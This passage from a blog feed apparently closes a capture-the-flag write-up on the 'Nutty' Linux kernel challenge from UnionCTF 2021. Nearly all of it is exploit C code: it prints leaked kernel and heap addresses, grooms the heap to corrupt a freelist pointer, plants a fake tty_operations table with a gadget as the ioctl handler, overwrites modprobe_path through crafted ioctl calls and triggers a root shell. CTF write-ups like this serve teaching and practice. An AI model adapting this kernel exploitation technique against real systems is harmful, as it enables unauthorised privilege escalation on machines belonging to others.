    <span class="n">printf</span><span class="p">(</span><span class="s">"Kernel base: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kernel_base</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Heap leak: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">heap_leak</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Tty struct: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">tty_struct</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Modeprobe path: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">modeprobe_path</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Gadget: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">gadget</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="mh">0x400</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">p_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tty_struct</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// victim</span>
    <span class="n">tty_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/ptmx"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_NOCTTY</span><span class="p">);</span>

    <span class="c1">// shuffle stuff for heap overflow &amp;&amp; fd freelist pointer corruption</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0xa</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">create</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="s">"AAAAAAAAAAAAAAAA"</span><span class="p">,</span> <span class="mh">0x300</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">delete</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">append</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">create</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="s">"AAAAAAAAAAAAAAAA"</span><span class="p">,</span> <span class="mh">0x300</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">poisoned</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x100005401</span><span class="p">;</span>
    <span class="c1">// tty struct is about 0x2e0 bytes. Put fake tty_ops somewhere after</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">tty_struct</span> <span class="o">+</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mh">0x64</span><span class="p">);</span>

    <span class="c1">// fake ioctl fp</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x64</span> <span class="o">+</span> <span class="mi">12</span><span class="p">]</span> <span class="o">=</span> <span class="n">gadget</span><span class="p">;</span>

    <span class="n">create</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">poisoned</span><span class="p">,</span> <span class="mh">0x3ff</span><span class="p">,</span> <span class="mh">0x3ff</span><span class="p">);</span>

    <span class="n">ioctl</span><span class="p">(</span><span class="n">tty_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mh">0x6d6f682f</span><span class="p">,</span> <span class="n">modeprobe_path</span><span class="p">);</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">tty_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mh">0x73752f65</span><span class="p">,</span> <span class="n">modeprobe_path</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">tty_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mh">0x682f7265</span><span class="p">,</span> <span class="n">modeprobe_path</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">tty_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mh">0x007861</span><span class="p">,</span> <span class="n">modeprobe_path</span> <span class="o">+</span> <span class="mi">12</span><span class="p">);</span>

    <span class="n">puts</span><span class="p">(</span><span class="s">"Triggering shell"</span><span class="p">);</span>

    <span class="n">shell</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Nutty was a kernel pwn challenge of the UnionCTF 2021. I did not manage to solve the challenge during the CTF but solved it afterwards with some help of other solutions.]]></summary></entry></feed>